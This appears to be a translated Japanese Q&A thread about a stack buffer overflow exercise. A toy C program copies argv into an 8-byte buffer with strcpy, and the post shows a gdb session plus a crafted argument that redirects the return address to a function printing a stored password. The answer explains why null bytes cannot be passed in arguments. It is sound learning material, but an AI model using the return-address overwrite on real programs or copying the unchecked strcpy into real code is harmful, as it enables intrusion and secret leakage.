プログラムに引数としてゼロを渡す方法

プログラムに引数としてゼロを渡す方法

このC言語プログラムがあります。

#include <stdio.h>
#include <string.h>

char * pwd = "pwd0";

void print_my_pwd() {
  printf("your pwd is: %s\n", pwd);
}

int check_pwd(char * uname, char * upwd) {
  char name[8];
  strcpy(name, uname);

  if (strcmp(pwd, upwd)) {
    printf("non authorized\n");
    return 1;
  }
  printf("authorized\n");
  return 0;
}

int main(int argc, char ** argv) {
  check_pwd(argv[1], argv[2]);
  return 0;
}

ビルドしてバッファオーバーフローがあることを確認します。

$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12    strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
 rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
 called by frame at 0x7fffffffd6f0
 source language c.
 Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
 Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
 Saved registers:
  rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
A debugging session is active.

    Inferior 1 [process 21935] will be killed.

Quit anyway? (y or n) y
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$ 

そうすれば、プログラムから秘密が漏洩する可能性がありますが、住所が0x55555555003a私のものではない場合はどうなりますか0x55555555473a?その後、ゼロがnullバイトとして表示され、シェルがそれを解釈しないので、ゼロを渡す方法がわかりません。

答え1

したがって、プログラムは次のことを行います。関数check_pwdがスタックにオーバーフローしたバッファを割り当てたため、戻りアドレスが破損しています。他の関数を指すようにこの破損を選択しようとしており、print_my_pwd文字:GUUUU列がリトルエンディアンシステムで64ビット値として解釈されると0x5055555555473Aになり、最初の8ビットは定義されていません。ビット8が0の場合、アドレスを取得しますprint_my_pwd。この16A文字は8バイトの配列をname埋め、保存されたフレームポインタを上書きするために使用されます。

したがって、あなたの質問は「戻りアドレスの一部としてゼロバイトが必要な場合はコマンドラインでこれをどのように指定しますか?」と答えは「strcpyを使用してオーバーフローを実行しているため問題ありません。失敗します。」

一般的に、あなたの質問に対する答えは、カーネルのインターフェースがC文字列に基づいているため、プログラムがstrcpyの代わりにmemcpyを使用してもまだ何もしないことです。

実際のバッファオーバーフロー攻撃は、独自のコードにジャンプしてメモリに格納する値を設定することが多く、NUL文字を心配する必要はありません。

関連情報